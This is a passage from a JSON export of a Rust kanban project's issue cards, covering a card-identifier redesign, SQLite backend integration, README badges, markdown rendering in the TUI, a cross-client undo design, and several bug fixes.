`ALTER TABLE cards DROP COLUMN assigned_prefix`\n4. `ALTER TABLE cards DROP COLUMN card_prefix`\n5. Wrap in a single transaction — abort entirely on collision rather than partial migrate\n\n### Hard edge case\n\nIf a board changed prefix mid-life (KAN-1..50, then PROJ-1..30), card_numbers 1-30 exist in both buckets. Migration aborts with:\n```\nMigration error: board \"My Board\" has ambiguous card numbers after prefix change.\n  KAN-1..30 and PROJ-1..30 cannot both be identified post-migration.\n  Resolve by deleting or re-numbering cards in one prefix group before migrating.\n```\n\n---\n\n## Files Affected\n\n- `crates/kanban-domain/src/card.rs` — drop `card_prefix`, `assigned_prefix` fields; update `CardUpdate`, `branch_name()`\n- `crates/kanban-domain/src/board.rs` — replace `prefix_counters: HashMap` with `card_counter: u32`; add prefix lock enforcement\n- `crates/kanban-domain/src/commands/card_commands.rs` — update `CreateCard` to use `board.card_counter`\n- `crates/kanban-domain/src/commands/sprint_commands.rs` — enforce sprint prefix uniqueness and immutability\n- `crates/kanban-domain/src/search/mod.rs` — simplify hierarchy to two levels\n- `crates/kanban-persistence-json/src/lib.rs` — V2→V3 migration\n- `crates/kanban-persistence-sqlite/src/` — schema v1→v2 migration\n- `crates/kanban-mcp/src/lib.rs` — remove `card_prefix` from card update tool\n- `crates/kanban-cli/src/cli.rs` — remove `card_prefix` from card update command\n",
        "due_date": null,
        "id": "fa821ce3-4db2-4967-9c3a-b78b1117633a",
        "points": null,
        "position": 189,
        "priority": "Medium",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": "2026-05-10T15:14:10.272419081Z",
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-13T23:43:22.006627035Z",
            "status": "Active"
          },
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-10T15:14:10.272419913Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Redesign card identifier model: drop stored prefixes, lock board/sprint prefix, simplify counters",
        "updated_at": "2026-05-14T11:00:27.556041205Z"
      },
      {
        "card_number": 344,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-14T00:29:42.685486613Z",
        "description": "The existing sprint lock tests cover the locked-after-cards case. Missing: a test that Clear on card_prefix succeeds when no cards are assigned to the sprint. Ensures the \"no cards\" path through the lock check is explicitly verified.",
        "due_date": null,
        "id": "98488826-27bc-4fad-a73a-64cfd0bd41be",
        "points": null,
        "position": 190,
        "priority": "Low",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": "2026-05-07T22:06:15.245194841Z",
            "sprint_id": "124ae046-2368-4334-b5f7-c64a47cdeca4",
            "sprint_name": "sphinx-centered",
            "sprint_number": 14,
            "started_at": "2026-04-29T04:53:21.126640114Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T22:06:15.245195477Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Add test for UpdateSprint card_prefix Clear with no cards assigned",
        "updated_at": "2026-05-07T22:06:15.245195960Z"
      },
      {
        "card_number": 302,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": null,
        "created_at": "2026-04-04T23:50:48.834116789Z",
        "description": "When starting the tui. A board is not preselected making the ui look very empty and stale.\n\nI think we should at the very least preselect the first board. or if we really wanted to.\n\nRemember the last board selected and select that\n",
        "due_date": null,
        "id": "ef22e57d-924a-432c-81dd-1b9b22bba4b4",
        "points": 1,
        "position": 190,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:51:55.287301384Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Starting the tui doesnt select a board",
        "updated_at": "2026-05-14T11:00:27.556041507Z"
      },
      {
        "card_number": 402,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-05-07T21:32:22.858410226Z",
        "description": "Add repology-based shields.io badges for AUR and nixpkgs package versions, and a CI status badge, matching the existing crates.io and license badges at the top of README.md.\n\n## Badges to add\n\n```markdown\n[![CI](https://github.com/fulsomenko/kanban/actions/workflows/ci.yml/badge.svg)](https://github.com/fulsomenko/kanban/actions/workflows/ci.yml)\n[![AUR](https://repology.org/badge/version-for-repo/aur/kanban.svg)](https://repology.org/project/kanban/versions)\n[![nixpkgs](https://repology.org/badge/version-for-repo/nix_unstable/kanban.svg)](https://repology.org/project/kanban/versions)\n```\n\n## Context\n\n- crates.io and license badges already exist on lines 3-4 of README.md\n- CI badge: auto-updates from GitHub Actions ci.yml workflow\n- AUR/nixpkgs badges: repology as source (consistent, tracks both); kanban is packaged as `kanban` in both\n- v0.4.1 expected to land in nixpkgs ~May 15 before the 26.05 branch cut on May 18\n\n## Placement\n\nInsert after the existing two badges on lines 3-4 of README.md.",
        "due_date": null,
        "id": "39b77e0e-0283-4500-9f74-d046b95eb484",
        "points": null,
        "position": 191,
        "priority": "Medium",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T21:58:57.806904140Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Add AUR and nixpkgs version badges to README",
        "updated_at": "2026-05-07T21:58:57.806905172Z"
      },
      {
        "card_number": 334,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": null,
        "created_at": "2026-04-11T08:39:51.832815833Z",
        "description": "**Bug:** When a card is assigned to a sprint with a prefix override (e.g. `CAT`), the card gets a new identifier (`CAT-260`). However, looking up the card using that identifier returns \"Card not found\" — only the original identifier (`KAN-260`) works.\n\n**Observed:**\n```\nkanban card get CAT-260  →  Error: Card not found: 'CAT-260'\nkanban card get KAN-260  →  success\n```\n\n**Expected:** The card should be retrievable by its sprint-assigned identifier (`CAT-260`).\n\n**Steps to reproduce:**\n1. Create a card on a board with prefix `KAN` — gets ID `KAN-260`\n2. Assign the card to a sprint with prefix override `CAT` — branch name becomes `CAT-260`\n3. Run `kanban card get CAT-260`\n4. Observe \"Card not found\" error\n\n**Root cause area:** Card lookup likely only indexes by the canonical `assigned_prefix` + `card_number`, not by the sprint-assigned prefix.",
        "due_date": null,
        "id": "0015392b-e4a8-4c6f-bfba-895c5e2f1f86",
        "points": 3,
        "position": 191,
        "priority": "High",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": "2026-05-07T22:06:15.245065172Z",
            "sprint_id": "124ae046-2368-4334-b5f7-c64a47cdeca4",
            "sprint_name": "sphinx-centered",
            "sprint_number": 14,
            "started_at": "2026-04-29T04:53:21.126609766Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T22:06:15.245067047Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Card not found when looked up by sprint-assigned prefix identifier",
        "updated_at": "2026-05-14T11:07:38.156519134Z"
      },
      {
        "card_number": 369,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": null,
        "created_at": "2026-04-27T07:12:25.392072773Z",
        "description": null,
        "due_date": null,
        "id": "c4658b76-e0dd-41a5-86c7-f84334259f6b",
        "points": null,
        "position": 192,
        "priority": "Medium",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": "2026-05-07T22:06:15.245078306Z",
            "sprint_id": "124ae046-2368-4334-b5f7-c64a47cdeca4",
            "sprint_name": "sphinx-centered",
            "sprint_number": 14,
            "started_at": "2026-04-29T04:53:21.126606635Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T22:06:15.245078745Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Implement StoreFactory for SQLite backend",
        "updated_at": "2026-05-14T11:07:38.156520014Z"
      },
      {
        "card_number": 370,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": null,
        "created_at": "2026-04-27T08:24:12.170416957Z",
        "description": "Register SqliteStoreFactory in the StoreRegistry so MCP/CLI route SQLite files through the registry like JSON, instead of the old open_sqlite bypass.\n\n## Done\n- Added `path`/`instance_id` fields to `SqliteStore`; implemented `PersistenceStore`\n- Added `SqliteStoreFactory` (magic-byte content sniffing, `create()` via registry)\n- Registered factory in `default_registry()` (sqlite first, then json)\n- Removed `is_sqlite`/`open_sqlite` bypass from `McpContext::new` and `CliContext::load`\n- Added unit tests for all new behaviour\n\nBranch: KAN-366/description-doesnt-load-in-card-details",
        "due_date": null,
        "id": "200e9bcd-9654-49a0-affc-cab1866ab223",
        "points": null,
        "position": 193,
        "priority": "Medium",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": "2026-05-07T22:06:15.245080262Z",
            "sprint_id": "124ae046-2368-4334-b5f7-c64a47cdeca4",
            "sprint_name": "sphinx-centered",
            "sprint_number": 14,
            "started_at": "2026-04-29T04:53:21.126605275Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T22:06:15.245080694Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "SQLite backend registry integration",
        "updated_at": "2026-05-14T11:07:38.156520444Z"
      },
      {
        "card_number": 275,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": null,
        "created_at": "2026-03-31T21:22:38.967871171Z",
        "description": "Remove futures and futures-util from workspace Cargo.toml - they are not used anywhere in the codebase and can be safely removed as a cleanup task.",
        "due_date": null,
        "id": "b66a0571-94e9-4972-9c42-a8450982d0a4",
        "points": 1,
        "position": 194,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856390298Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Remove unused futures dependencies",
        "updated_at": "2026-05-14T11:09:21.268637793Z"
      },
      {
        "card_number": 408,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-05-08T21:52:34.441435749Z",
        "description": "## Goal\n\nRender the card description area in the card details view as styled markdown instead of plain text, using the `termimad` crate.\n\n## Background\n\nThe card details panel currently renders description as raw text. The `glow` CLI (charmbracelet/glow) was considered but is a Go binary and cannot be used as a Rust library dependency. `termimad` is the idiomatic Rust alternative: it parses and renders CommonMark markdown into crossterm-compatible styled text and integrates cleanly with ratatui.\n\n## Relevant files\n\n- `crates/kanban-tui/src/ui/` — card details rendering components\n- `crates/kanban-tui/Cargo.toml` — add `termimad` dependency here\n\n## Implementation steps\n\n1. Add `termimad` to `crates/kanban-tui/Cargo.toml`\n2. In the card details UI component, replace the plain-text description render with a `termimad`-rendered version\n3. Create a helper function (e.g. `render_markdown(text: &str, width: u16) -> Text`) that converts a markdown string to ratatui `Text` using termimad's skin/area API\n4. Wire the helper into the existing card details widget, replacing raw description output\n5. Handle empty/None descriptions gracefully (render nothing or a placeholder)\n6. Ensure the rendered output scrolls correctly if the description is long\n\n## Acceptance criteria\n\n- Headings, bold, italic, inline code, code blocks, bullet lists, and numbered lists all render with appropriate terminal styling\n- Plain text descriptions with no markdown syntax render without visual artifacts\n- The card details view is not visually broken at narrow terminal widths\n- All existing `kanban-tui` tests continue to pass\n- New unit test: `test_render_markdown_empty_string_returns_empty_text` and `test_render_markdown_bold_produces_styled_spans`\n\n## TDD notes\n\nFollow Red-Green-Refactor. Write the two unit tests above (in `crates/kanban-tui/src/` under `#[cfg(test)]`) and present them for review before touching any implementation code.",
        "due_date": null,
        "id": "54488138-80b2-45f4-932e-67f42d9753a2",
        "points": null,
        "position": 194,
        "priority": "Medium",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-10T17:33:14.477264445Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Render card description markdown using termimad in the TUI details view",
        "updated_at": "2026-05-10T17:33:14.477265103Z"
      },
      {
        "card_number": 409,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-05-08T22:20:33.628811589Z",
        "description": "## Concept\n\nThe command log is intentionally in-memory and session-scoped (see KAN-405). This card explores the next step: a message bus architecture that populates each client's in-memory command log from a shared stream, enabling cross-client undo/redo for both single-user multi-device and multi-user collaborative scenarios — without ever persisting the command log to the data file.\n\n## Core idea\n\nEach running kanban instance maintains its own in-memory command log as today. A lightweight shared **command bus** (a separate channel, not the data file) broadcasts executed commands to all subscribed clients. When a client receives a remote command, it appends it to its in-memory log and applies it to its local state. Undo/redo remains in-memory; the bus is the synchronisation mechanism, not a persistence layer.\n\n## Key properties\n\n- **In-memory command log preserved** — no command log in `kanban.json` or `kanban.sqlite`\n- **Decoupled from the data layer** — command bus is a separate concern from `PersistenceStore`\n- **Session-tagged commands** — each command batch carries a `session_id` so clients can distinguish local vs remote commands and handle undo scope accordingly\n- **Graceful degradation** — if no bus is running, the client operates in single-session mode as today\n\n## Architectural components\n\n### CommandBus trait (new, in `kanban-core` or `kanban-service`)\n```rust\npub trait CommandBus: Send + Sync {\n    /// Publish a batch of commands to all subscribers.\n    fn publish(&self, batch: CommandEnvelope) -> KanbanResult<()>;\n    /// Subscribe to incoming command batches from remote sessions.\n    fn subscribe(&self) -> CommandReceiver;\n}\n\npub struct CommandEnvelope {\n    pub session_id: Uuid,\n    pub batch: Vec<Command>,\n    pub timestamp: DateTime<Utc>,\n}\n```\n\n### Possible bus implementations\n\n| Backend | Description | Use case |\n|---|---|---|\n| `NullBus` | No-op (current behaviour) | Single-session, no collaboration |\n| `FileBus` | JSON Lines append-only log file + `inotify`/`kqueue` watcher | Single-machine multi-instance |\n| `UnixSocketBus` | Local Unix domain socket with a coordinator process | Single-machine low-latency |\n| `WsBus` | WebSocket server/client | Multi-machine, multi-user |\n\n### Integration in KanbanContext\n\n`KanbanContext` gains an optional `CommandBus`. After `execute()` succeeds locally, the batch is published to the bus. A background task (or poll on the next `execute()`) drains incoming remote batches and applies them to the local in-memory store — similar to a git fetch that doesn't touch the working tree.\n\n### Conflict handling\n\nRemote commands that conflict with local undone state need a policy. Simplest approach for v1: **remote commands always win** and reset the local undo stack to the post-remote state (last-write-wins per session). CRDT-style operational transforms are a future option.\n\n## Undo semantics across clients\n\nTwo reasonable models:\n\n- **Local undo only** — `undo()` only undoes commands from `this` session; remote commands are not undoable locally. Simple and predictable.\n- **Global undo** — `undo()` undoes the most recent command regardless of source session. Matches \"collaborative undo\" UX in editors like Figma.\n\nRecommend starting with **local undo only** (flag remote commands in the log, skip them during undo replay).\n\n## File-based bus as a starting point\n\nA simple `FileBus` appends `CommandEnvelope` as JSON Lines to a sidecar file (e.g. `board.json.bus`). A file watcher notifies subscribers of new lines. This requires no network stack, works on a shared filesystem (NFS, Dropbox), and is easy to inspect and debug. The bus file can be deleted freely — clients reconnect and start receiving new commands from that point.\n\n## Relevant crates to introduce\n\n- `notify` (crate) — cross-platform file system watcher for `FileBus`\n- `tokio::sync::broadcast` — in-process channel between `FileBus` watcher and `KanbanContext`\n\n## Relationship to other cards\n\n- KAN-405: established that command log must not be in the data file. This card is the forward path for users who want cross-session or cross-client undo.\n- Separate from the nvim-style command log backup card (which is about crash recovery, not collaboration).",
        "due_date": null,
        "id": "d7552c59-9cac-465d-b404-05ec29167d73",
        "points": null,
        "position": 195,
        "priority": "Medium",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-10T17:33:14.477269162Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Design: message-based in-memory command log for cross-client undo/redo",
        "updated_at": "2026-05-10T17:33:14.477269439Z"
      },
      {
        "card_number": 323,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": null,
        "created_at": "2026-04-06T20:36:22.081954307Z",
        "description": "## Problem\n\nWhen a non-existent file path is passed to the CLI (e.g. `kanban demo.json card get KAN-12` when the correct path is `fixtures/demo.json`), the user sees:\n\n```\n{\"success\":false,\"api_version\":\"0.3.5\",\"error\":\"Card not found: 'KAN-12'\"}\nError: Card not found: 'KAN-12'\n```\n\nThis is wrong. The file doesn't exist — the card lookup never had a chance. The real error is a missing file.\n\n## Root Cause\n\n`KanbanContext::load` in `kanban-service/src/context.rs` is designed to support the TUI's \"new board\" flow — it silently returns an empty context when the file doesn't exist:\n\n```rust\n// kanban-service/src/context.rs:44-46\npub async fn load(...) -> KanbanResult<Self> {\n    if !store.exists().await {\n        return Ok(Self::empty(store, config));  // ← silent empty context\n    }\n    ...\n}\n```\n\nThe CLI loads via `CliContext::load` in `kanban-cli/src/context.rs`, which delegates directly without checking existence first:\n\n```rust\n// kanban-cli/src/context.rs:17-28\npub async fn load(file_path: &str, mut config: AppConfig) -> KanbanResult<Self> {\n    ...\n    Ok(Self {\n        inner: KanbanContext::load(make_store(&backend, file_path)?, config).await?,\n    })\n}\n```\n\nThe empty context has no cards, so any card operation then fails with a misleading domain-level error.\n\n## Proposed Fix\n\nAdd a file existence check in `CliContext::load` before delegating to `KanbanContext::load`:\n\n```rust\n// kanban-cli/src/context.rs\npub async fn load(file_path: &str, mut config: AppConfig) -> KanbanResult<Self> {\n    if !std::path::Path::new(file_path).exists() {\n        return Err(KanbanError::NotFound(format!(\n            \"Board file not found: '{}'\",\n            file_path\n        )));\n    }\n    ...\n}\n```\n\nThis keeps the TUI's empty-context path untouched (TUI uses `KanbanContext::load` directly via `App::new`) while giving CLI users a clear, actionable error message.\n\n## Steps to Resolution\n\n1. Add existence check at the top of `CliContext::load` in `kanban-cli/src/context.rs`\n2. Verify the error surfaces as a `{\"success\":false,...,\"error\":\"Board file not found: 'demo.json'\"}` JSON response\n3. Add a CLI integration test in `kanban-cli/tests/cli_integration.rs` asserting the correct error message on a missing file path\n4. Confirm the TUI is unaffected (it never calls `CliContext::load`)",
        "due_date": null,
        "id": "d9db775c-f075-4d9d-b3a7-9e8404dd0383",
        "points": null,
        "position": 195,
        "priority": "High",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-06T21:44:46.541917904Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Fix misleading 'Card not found' error when board file does not exist",
        "updated_at": "2026-05-14T18:38:13.134127739Z"
      },
      {
        "card_number": 410,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-05-08T22:21:20.947149034Z",
        "description": "## Concept\n\nThe command log is intentionally in-memory and session-scoped (KAN-405). This card explores the next step: a message bus that populates each client's in-memory command log from a shared stream, enabling cross-client undo/redo for single-user multi-device and multi-user collaboration — without ever persisting the command log to the data file.\n\n## Core idea\n\nEach running kanban instance maintains its own in-memory command log as today. A lightweight shared command bus broadcasts executed commands to all subscribed clients. When a client receives a remote command, it appends it to its in-memory log and applies it to its local state. Undo/redo stays in-memory; the bus is the sync mechanism, not a persistence layer.\n\n## Key properties\n\n- In-memory command log preserved — no command log in kanban.json or kanban.sqlite\n- Decoupled from the data layer — command bus is a separate concern from PersistenceStore\n- Session-tagged commands — each batch carries a session_id so clients distinguish local vs remote and handle undo scope accordingly\n- Graceful degradation — if no bus is running, the client operates in single-session mode as today\n\n## CommandBus trait (new, in kanban-core or kanban-service)\n\npub trait CommandBus: Send + Sync {\n    fn publish(batch: CommandEnvelope) -> KanbanResult<()>;\n    fn subscribe() -> CommandReceiver;\n}\n\npub struct CommandEnvelope {\n    pub session_id: Uuid,\n    pub batch: Vec<Command>,\n    pub timestamp: DateTime<Utc>,\n}\n\n## Possible bus implementations\n\n- NullBus: no-op, current behaviour, single-session\n- FileBus: JSON Lines append-only sidecar file + inotify/kqueue watcher, single-machine multi-instance\n- UnixSocketBus: Unix domain socket with coordinator process, single-machine low-latency\n- WsBus: WebSocket server/client, multi-machine multi-user\n\n## Integration in KanbanContext\n\nKanbanContext gains an optional CommandBus. After execute() succeeds locally, the batch is published to the bus. A background task drains incoming remote batches and applies them to the local in-memory store.\n\n## Conflict handling\n\nRemote commands that conflict with local undone state: start with last-write-wins (remote commands reset local undo stack to post-remote state). CRDT-style operational transforms are a future option.\n\n## Undo semantics across clients\n\n- Local undo only: undo() only undoes commands from this session; remote commands are not undoable locally. Simple and predictable. Recommended for v1.\n- Global undo: undo() undoes the most recent command regardless of source session.\n\n## File-based bus as a starting point\n\nA FileBus appends CommandEnvelope as JSON Lines to a sidecar file (e.g. board.json.bus). A file watcher notifies subscribers of new lines. No network stack needed, works on shared filesystems, easy to inspect. The bus file can be deleted freely — clients reconnect and receive new commands from that point onward.\n\n## Relevant crates\n\n- notify (crate) — cross-platform file system watcher for FileBus\n- tokio::sync::broadcast — in-process channel between FileBus watcher and KanbanContext\n\n## Relationship to other cards\n\n- KAN-405: established that command log must not be in the data file. This card is the forward path for cross-session or cross-client undo.\n- Separate from the nvim-style command log backup card (crash recovery, not collaboration).",
        "due_date": null,
        "id": "fd5e03f2-2c2f-4bf1-81f7-7d98108df1e6",
        "points": null,
        "position": 196,
        "priority": "Medium",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-10T17:33:14.477277131Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Design: message-based in-memory command log for cross-client undo/redo",
        "updated_at": "2026-05-10T17:33:14.477277582Z"
      },
      {
        "card_number": 432,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-05-11T22:56:51.575009582Z",
        "description": "## Why\n\nKAN-394 made the status ↔ completion-column auto-sync project-wide:\nsingle-card and batch `update_card`/`move_card`/`update_cards`/`move_cards`\nall chain commands to keep `CardStatus::Done` ⇔ \"card lives in the\nresolved completion column\". That behaviour is opinionated. Some\nworkflows treat the last column as a regular stage (e.g. \"Done by dev,\nawaiting review\") rather than a completion gate, and want\n`status=Done` set without the card being yanked into that column —\nor to move a card into the last column without it being marked\ncomplete.\n\nToday the auto-sync is unconditional. There is no way to opt out.\n\n## What\n\nAdd a per-board configuration knob. Suggested shape:\n\n```rust\npub struct Board {\n    // ... existing fields\n    pub auto_sync_completion: bool,  // defaults to true\n}\n```\n\nWhen `false`:\n- `KanbanContext::update_card(_, CardUpdate { status: Some(Done), ..)` sets the\n  status without chaining a `MoveCard` to the completion column.\n- `KanbanContext::move_card(_, completion_col_id, _)` moves the card without\n  chaining `status=Done`.\n- `update_cards` and `move_cards` (batch) follow the same rule.\n- Atomic updates that pin both `column_id` and `status` are unaffected\n  (caller intent always wins).\n\n## Where the wiring lives\n\n- `crates/kanban-domain/src/board.rs` — add the field, surface it on\n  `BoardUpdate` via `FieldUpdate<bool>`, migrate JSON V2 → V3 (default\n  true for existing boards so behaviour stays the same on upgrade).\n- `crates/kanban-service/src/context.rs` — the four service methods\n  (`update_card`, `move_card`, `update_cards`, `move_cards`) each\n  resolve the board once and skip the chained command when the flag is\n  off. The pure helpers in `kanban_domain::card_lifecycle` stay\n  unchanged — they remain \"what would happen if auto-sync fired\"; the\n  service decides whether to call them.\n- CLI: surface a flag on `kanban board update` (`--auto-sync-completion <bool>`).\n- MCP: expose on `tool_update_board`.\n- TUI: settings page / board configuration dialog.\n\n## Acceptance\n\n- New board defaults to auto-sync = on (backwards compatible).\n- Existing boards on disk read as auto-sync = on after migration.\n- Per-board toggle is honoured by every entry point — there's a test\n  per surface (service, MCP integration, CLI integration, TUI handler).\n- `crates/kanban-service/tests/completion_sync.rs` gains an\n  `auto_sync_off` variant of each existing test.\n\n## Notes / Out of scope\n\n- This is a per-board flag, not a per-card override. Cards inherit from\n  their board.\n- A potential follow-up: app-level default for `auto_sync_completion`\n  applied to new boards (probably overkill — board-level is enough).\n- Touches no domain commands; they remain pure single-responsibility.",
        "due_date": null,
        "id": "6e50dcb0-672c-43bc-91d1-c726c729e9eb",
        "points": 5,
        "position": 196,
        "priority": "Medium",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-11T23:24:13.846355885Z",
            "status": "Active"
          }
        ],
        "status": "Todo",
        "title": "feat(service): make status ↔ completion-column auto-sync configurable per board",
        "updated_at": "2026-05-11T23:24:13.846356360Z"
      },
      {
        "card_number": 455,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-05-14T20:04:09.440314840Z",
        "created_at": "2026-05-14T19:13:14.579263490Z",
        "description": "## Observed\n\nTwo places in the TUI have lists that support j/k navigation but do not scroll, making items below the visible area unreachable.\n\n### 1. Board edit view — Sprints [4] and Columns [5] panels\n\nrender_board_sprints_list and render_board_columns_list in kanban-tui/src/ui/board_detail.rs both render a Paragraph::new(lines) with no scroll offset. The selection highlight (app.selection.sprint.get() / app.dialog_input.column_selection.get()) moves, but the paragraph never scrolls.\n\n### 2. Card list sprint filter popup\n\nThe sprint list in the filter popup (kanban-tui/src/components/filter_popup.rs line 119) also renders Paragraph::new(sprint_lines) with no scroll offset. On boards with many sprints the list clips at the popup boundary.\n\n## Root cause (shared)\n\nAll three Paragraph widgets clip at their widget boundary. A viewport offset must be passed explicitly via .scroll((row, 0)). The selection index is tracked in all cases but never used to derive an offset.\n\n## Implementation — PR #273\n\nhttps://github.com/fulsomenko/kanban/pull/273\n\nThe fix went deeper than the original \"fix direction\" suggested. Rather than re-deriving a sticky-bottom offset on every render, the PR matches the minimal-scroll behavior of the main card list:\n\n- Extracted the pure scroll-math primitive `scroll_offset_to_keep_visible(current_offset, selected, viewport_height) -> usize` into `kanban_core::pagination`. `Page::scroll_to_visible` now delegates to it, so `ListComponent`, `card_list`, and every other Page-based list reuse the same logic with no behavior change.\n- Added `Cell<usize>` scroll-offset fields alongside the existing selections: `SelectionHub.sprint_scroll`, `DialogInputState.column_scroll`, `FilterDialogState.item_scroll` (the last is reset on `next_section`/`prev_section`). Each renderer reads the cell, calls the pure function, writes back, and applies the offset via `Paragraph::scroll`.\n- Filter popup uses a translated `selected_line_idx` to account for the title, unassigned-sprints checkbox, and separator that precede the sprint rows.\n\nTests added: 6 unit tests for the pure function in `kanban-core::pagination`, plus 4 integration tests in `kanban-tui/tests/scroll_board_edit_lists.rs` — including `test_board_sprints_scroll_offset_is_stable_when_selection_moves_within_viewport`, which verifies the property that distinguishes minimal-scroll from sticky-bottom.\n\nFollow-up tracked in **KAN-456** — \"Migrate all SelectionState-backed lists to ListComponent for unified scrolling\". That card consumes the pure function added here and finishes the architectural unification across the ~10 other `SelectionState` fields in the app.",
        "due_date": null,
        "id": "503e1702-9398-4ea6-b002-08305d1ce1ea",
        "points": null,
        "position": 197,
        "priority": "Medium",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Done",
        "title": "No scrolling in board edit view sprint and column lists",
        "updated_at": "2026-05-14T20:09:30.570705642Z"
      },
      {
        "card_number": 433,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-05-11T22:58:23.288983600Z",
